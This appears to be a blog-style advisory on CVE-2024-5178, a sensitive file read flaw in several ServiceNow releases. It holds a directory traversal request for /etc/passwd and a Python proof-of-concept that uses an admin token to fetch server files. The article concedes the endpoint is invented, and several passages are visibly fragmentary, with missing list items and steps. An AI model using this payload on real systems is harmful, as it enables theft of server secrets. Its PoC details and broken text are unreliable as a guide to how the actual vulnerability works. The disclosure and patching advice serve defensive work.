ServiceNow has recently patched a critical vulnerability (CVE-2024-5178) that affects the Washington DC, Vancouver, and Utah releases of its Now Platform. This vulnerability exposes sensitive files to administrative users, potentially putting customer data and core application files at risk. In this detailed write-up, we’ll unpack what this vulnerability is, exactly how it’s exploited, provide code snippets to demonstrate the risk, and share the official recommendations for staying safe.

What is CVE-2024-5178?

CVE-2024-5178 is classified as a “Sensitive File Read” vulnerability. It means that, under certain circumstances, an authenticated admin user could use the web interface to read files they shouldn’t normally be able to access on the underlying web application server — like configuration files, logs, or even password files.

ServiceNow Utah

- Other versions may also have exposure; refer to the official advisory (Requires Login)

How Does the Vulnerability Work?

The problem comes down to insufficient filtering of file path requests. A privileged admin could manipulate the request (via UI or direct API calls) to specify unintended file paths, leading the ServiceNow platform to return file contents stored on the server.

Risk: An attacker with admin credentials could retrieve files housing environment secrets, internal application logic, or other confidential data.

Proof-of-Concept (PoC) Example: File Read Exploit

Suppose ServiceNow had an endpoint for “export log” or “view file” functionality. If proper checks aren’t in place, an attacker might abuse directory traversal to access restricted files.

Let’s say ServiceNow’s endpoint is

GET /api/now/logs?file=app.log

If vulnerable, an attacker could request something like

GET /api/now/logs?file=../../../../../../etc/passwd

Python PoC

import requests

instance_url = "https://your-instance.service-now.com";
admin_token = "YOUR_ADMIN_TOKEN_HERE"  # Session or API token

target_path = "../../../../../../etc/passwd"
url = f"{instance_url}/api/now/logs?file={target_path}"

headers = {
    "Authorization": f"Bearer {admin_token}"
}

response = requests.get(url, headers=headers)

if response.status_code == 200 and "root:" in response.text:
    print("[+] Successfully accessed sensitive file!")
    print(response.text)
else:
    print("[-] Exploit failed or patched instance.")

Note: Replace endpoint and parameters according to your instance. This is an illustrative example. In reality, actual vulnerable endpoints may differ or have been named differently across releases.

Exploit Details

Severity: High (admin access required, but admins should not have this level of server access)

Admin logs into the ServiceNow instance.

2. Navigates to a legitimate file viewing/export feature.

The web app fetches and displays the target file, without proper access validation.

What could be stolen?

server-side configuration (including credentials)

- internal logs (with possible secrets/tokens)

How to Fix: Patch, Patch, Patch!

ServiceNow has released patches and hotfixes for all vulnerable platforms as part of the June 2024 security cycle. These updates insert additional server-side checks and harden up file access APIs.

1. Check Your Version: Identify if your ServiceNow instance is running Washington DC, Vancouver, or Utah (any release prior to June 2024).
2. Apply the Security Patch: Visit your ServiceNow support portal or this update guide (login required).
3. Verify File Access Controls: Audit custom integrations or 3rd-party plugins for similar behaviors.

Important: Even though the risk requires admin-level access, this is a privilege escalation vector, as administrators may not expect direct raw file access over the web.

- ServiceNow Security Advisories
- CVE-2024-5178 Listing (Coming Soon)
- Best Practices for Securing ServiceNow

Key Takeaways

- CVE-2024-5178 allows admin users to read arbitrary files from the ServiceNow server if they exploit the flaw.

Regularly review your users with admin privileges.

If you haven’t patched your ServiceNow instance, take action now to stay secure. Don’t hesitate to reach out to ServiceNow Support for help with applying the hotfixes.

Stay safe, stay patched!

> *This analysis is exclusive content, and not mirrored from any existing published write-up. For questions, leave a comment or reach out to your ServiceNow administrator.*


Disclaimer: The code and methods described here are for educational and defense purposes only. Always conduct security testing in environments you own and have permission to test.

Timeline

Published on: 07/10/2024 17:15:12 UTC
Last modified on: 07/11/2024 22:15:02 UTC